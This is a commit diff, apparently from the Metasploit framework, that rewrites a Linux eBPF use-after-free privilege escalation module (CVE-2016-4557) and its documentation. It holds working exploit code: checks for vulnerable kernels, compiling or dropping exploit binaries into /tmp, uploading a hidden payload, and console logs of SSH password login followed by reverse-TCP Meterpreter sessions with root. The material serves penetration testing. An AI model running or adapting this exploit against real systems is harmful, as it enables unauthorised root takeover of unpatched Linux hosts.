Land #11112, Fix bpf_priv_esc exploit module
parent
0313716e09
commit
fd2886b499
Binary file not shown.
|
@ -1,167 +1,123 @@
|
|||
## Notes
|
||||
|
||||
This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`.
|
||||
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
|
||||
does not properly reference count file descriptors, resulting
|
||||
in a use-after-free, which can be abused to escalate privileges.
|
||||
|
||||
Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work.
|
||||
The target system must be compiled with `CONFIG_BPF_SYSCALL`
|
||||
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
|
||||
|
||||
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required.
|
||||
|
||||
As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted.
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-38-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-42-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-98-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-140-generic
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
* Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=82
|
||||
* Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
|
||||
|
||||
|
||||
## Creating A Testing Environment
|
||||
|
||||
There are a few requirements for this module to work:
|
||||
|
||||
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04)
|
||||
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04)
|
||||
3. fuse needs to be installed (non-default on Ubuntu 16.04)
|
||||
|
||||
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
|
||||
|
||||
This module has been tested against:
|
||||
The `libfuse-dev` package must be installed to test live-compiling on the target:
|
||||
|
||||
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
|
||||
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
|
||||
`apt-get install libfuse-dev=2.9.4-1ubuntu3.1`
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
|
||||
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/bpf_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `exploit`
|
||||
3. Do: `use exploit/linux/local/bpf_priv_esc
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**MAXWAIT**
|
||||
|
||||
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
|
||||
The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to `120` (seconds)
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
A folder we can write files to. Defaults to `/tmp`
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
|
||||
rhosts => 192.168.199.130
|
||||
msf auxiliary(ssh_login) > set username ubuntu
|
||||
username => ubuntu
|
||||
msf auxiliary(ssh_login) > set password ubuntu
|
||||
password => ubuntu
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
#### Escalate
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
|
||||
|
||||
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||
msf exploit(bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(bpf_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||
lhost => 192.168.199.131
|
||||
msf exploit(bpf_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||
[+] fuse is installed
|
||||
[+] libfuse-dev is installed
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing hello to /tmp/hello.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
|
||||
[*] Writing doubleput to /tmp/doubleput.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
|
||||
[*] Writing suidhelper to /tmp/suidhelper.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
|
||||
[*] Compiling all modules on target
|
||||
[*] Writing payload to /tmp/AyDJSaMM
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||
[+] got root, starting payload
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
|
||||
[*] Cleaning up...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.199.130
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
|
||||
Architecture : x86_64
|
||||
Meterpreter : x64/linux
|
||||
|
||||
#### Escalate w/ pre-compiled binaries
|
||||
```
|
||||
msf5 > use exploit/linux/local/bpf_priv_esc
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
|
||||
[+] fuse package is installed
|
||||
[+] /tmp/fuse_mount doesn't exist
|
||||
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
|
||||
[+] Unprivileged BPF loading is permitted
|
||||
[+] libfuse-dev is installed
|
||||
[+] gcc is installed
|
||||
[+] pkg-config is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/hello.c' (2682 bytes) ...
|
||||
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
|
||||
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
|
||||
[*] Uploading payload...
|
||||
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
|
||||
[*] Launching exploit. This may take up to 120 seconds.
|
||||
[+] Success! set-uid root /tmp/suidhelper
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (861348 bytes) to 172.16.191.141
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
|
||||
[+] Deleted /tmp/hello.c
|
||||
[+] Deleted /tmp/hello
|
||||
[+] Deleted /tmp/doubleput.c
|
||||
[+] Deleted /tmp/doubleput
|
||||
[+] Deleted /tmp/suidhelper.c
|
||||
[+] Deleted /tmp/.FVfiRBKRDX7r
|
||||
[+] Deleted /tmp/fuse_mount
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.141
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||
msf exploit(bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(bpf_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||
lhost => 192.168.199.131
|
||||
msf exploit(bpf_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||
[+] fuse is installed
|
||||
[-] libfuse-dev is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing pre-compiled binarys to target
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
|
||||
[*] Writing payload to /tmp/AyDJSaMM
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||
[+] got root, starting payload
|
||||
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
|
||||
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
|
||||
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
|
|
|
@ -7,136 +7,238 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Linux BPF Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
|
||||
sysctl is not set to 1, BPF can be abused to priv escalate.
|
||||
Ubuntu 16.04 has all of these conditions met.
|
||||
def initialize(info = {})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
|
||||
does not properly reference count file descriptors, resulting
|
||||
in a use-after-free, which can be abused to escalate privileges.
|
||||
|
||||
The target system must be compiled with `CONFIG_BPF_SYSCALL`
|
||||
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel);
|
||||
Ubuntu 16.04 (x64) kernel 4.4.0-38-generic;
|
||||
Ubuntu 16.04 (x64) kernel 4.4.0-42-generic;
|
||||
Ubuntu 16.04 (x64) kernel 4.4.0-98-generic;
|
||||
Ubuntu 16.04 (x64) kernel 4.4.0-140-generic.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'jannh@google.com', # discovery and exploit
|
||||
'h00die <mike@shorebreaksecurity.com>' # metasploit module
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DisclosureDate' => '2016-05-04',
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
['BID', '90309'],
|
||||
['CVE', '2016-4557'],
|
||||
['EDB', '39772'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
|
||||
['URL', 'https://usn.ubuntu.com/2965-1/'],
|
||||
['URL', 'https://launchpad.net/bugs/1578705'],
|
||||
['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
|
||||
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
|
||||
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'jannh@google.com', # discovery
|
||||
'h00die <mike@shorebreaksecurity.com>' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-4557' ],
|
||||
[ 'EDB', '39772' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
|
||||
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
|
||||
},
|
||||
'DefaultTarget' => 1,
|
||||
'DisclosureDate' => 'May 04 2016',
|
||||
'Privileged' => true
|
||||
}
|
||||
))
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' =>
|
||||
[
|
||||
'double-fdput',
|
||||
'doubleput.c'
|
||||
]
|
||||
},
|
||||
'DefaultTarget' => 1))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
|
||||
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
return true if has_prereqs?
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def has_prereqs?
|
||||
def check_libfuse_dev?
|
||||
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
|
||||
if lib.include?('install')
|
||||
vprint_good('libfuse-dev is installed')
|
||||
return true
|
||||
else
|
||||
print_error('libfuse-dev is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check_gcc?
|
||||
if has_gcc?
|
||||
vprint_good('gcc is installed')
|
||||
return true
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check_pkgconfig?
|
||||
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
|
||||
if lib.include?('install')
|
||||
vprint_good('pkg-config is installed')
|
||||
return true
|
||||
else
|
||||
print_error('pkg-config is not installed. Exploitation will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return check_libfuse_dev? && check_gcc? && check_pkgconfig?
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data, gcc_args='')
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
|
||||
unless gcc_args.to_s.blank?
|
||||
gcc_cmd << " #{gcc_args}"
|
||||
end
|
||||
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path
|
||||
end
|
||||
|
||||
def check
|
||||
def check_config_bpf_syscall?
|
||||
config = kernel_config
|
||||
release = kernel_release
|
||||
if Gem::Version.new(release.split('-').first) < Gem::Version.new('4.4') ||
|
||||
Gem::Version.new(release.split('-').first) >= Gem::Version.new('4.5.5')
|
||||
vprint_error "Kernel version #{release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||
|
||||
if config.nil?
|
||||
vprint_error 'Could not retrieve kernel config'
|
||||
return
|
||||
end
|
||||
lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
|
||||
unless lib.include?('install')
|
||||
print_error('fuse package is not installed. Exploitation will fail.')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good('fuse package is installed')
|
||||
|
||||
unless config.include? 'CONFIG_BPF_SYSCALL=y'
|
||||
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
|
||||
return false
|
||||
end
|
||||
fuse_mount = "#{base_dir}/fuse_mount"
|
||||
if directory? fuse_mount
|
||||
vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good("#{fuse_mount} doesn't exist")
|
||||
|
||||
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
|
||||
true
|
||||
config = kernel_config
|
||||
|
||||
if config.nil?
|
||||
vprint_error 'Could not retrieve kernel config'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def check_kernel_disabled?
|
||||
if unprivileged_bpf_disabled?
|
||||
vprint_error 'Unprivileged BPF loading is not permitted'
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_good 'Unprivileged BPF loading is permitted'
|
||||
true
|
||||
unless config.include? 'CONFIG_BPF_SYSCALL=y'
|
||||
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
|
||||
|
||||
def check_fuse?()
|
||||
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
|
||||
if lib.include?('install')
|
||||
vprint_good('fuse is installed')
|
||||
return true
|
||||
else
|
||||
print_error('fuse is not installed. Exploitation will fail.')
|
||||
return false
|
||||
end
|
||||
if unprivileged_bpf_disabled?
|
||||
vprint_error 'Unprivileged BPF loading is not permitted'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Unprivileged BPF loading is permitted'
|
||||
|
||||
def mount_point_exists?()
|
||||
if directory?('/tmp/fuse_mount')
|
||||
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
|
||||
return false
|
||||
else
|
||||
vprint_good('/tmp/fuse_mount doesn\'t exist')
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
|
||||
CheckCode::Appears
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
def upload_and_compile(filename, file_path, file_content, compile=nil)
|
||||
rm_f "#{file_path}"
|
||||
if not compile.nil?
|
||||
rm_f "#{file_path}.c"
|
||||
vprint_status("Writing #{filename} to #{file_path}.c")
|
||||
write_file("#{file_path}.c", file_content)
|
||||
register_file_for_cleanup("#{file_path}.c")
|
||||
output = cmd_exec(compile)
|
||||
if output != ''
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
|
||||
end
|
||||
else
|
||||
vprint_status("Writing #{filename} to #{file_path}")
|
||||
write_file(file_path, file_content)
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
cmd_exec("chmod +x #{file_path}");
|
||||
register_file_for_cleanup(file_path)
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
if nosuid? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
|
||||
end
|
||||
|
||||
doubleput = %q{
|
||||
|
@ -389,120 +491,70 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
}
|
||||
}
|
||||
|
||||
hello_filename = 'hello'
|
||||
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
|
||||
doubleput_file = "#{datastore['WritableDir']}/doubleput"
|
||||
suidhelper_filename = 'suidhelper'
|
||||
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
|
||||
payload_filename = rand_text_alpha(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
|
||||
@hello_name = 'hello'
|
||||
hello_path = "#{base_dir}/#{@hello_name}"
|
||||
@doubleput_name = 'doubleput'
|
||||
doubleput_path = "#{base_dir}/#{@doubleput_name}"
|
||||
@suidhelper_path = "#{base_dir}/suidhelper"
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
|
||||
upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
|
||||
upload_and_compile(doubleput_path, doubleput, '-Wall')
|
||||
upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
|
||||
upload_and_chmodx(hello_path, exploit_data('hello'))
|
||||
upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
|
||||
upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
|
||||
end
|
||||
|
||||
def has_prereqs?()
|
||||
def check_libfuse_dev?()
|
||||
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
|
||||
if lib.include?('install')
|
||||
vprint_good('libfuse-dev is installed')
|
||||
return true
|
||||
else
|
||||
print_error('libfuse-dev is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
def check_gcc?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
return true
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
def check_pkgconfig?()
|
||||
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
|
||||
if lib.include?('install')
|
||||
vprint_good('pkg-config is installed')
|
||||
return true
|
||||
else
|
||||
print_error('pkg-config is not installed. Exploitation will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
|
||||
end
|
||||
vprint_status 'Uploading payload...'
|
||||
upload_and_chmodx(payload_path, generate_payload_exe)
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
print_status('Launching exploit. This may take up to 120 seconds.')
|
||||
|
||||
if compile == false
|
||||
# doubleput file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
|
||||
fd = ::File.open( path, "rb")
|
||||
doubleput = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
# hello file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
|
||||
fd = ::File.open( path, "rb")
|
||||
hello = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
# suidhelper file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
|
||||
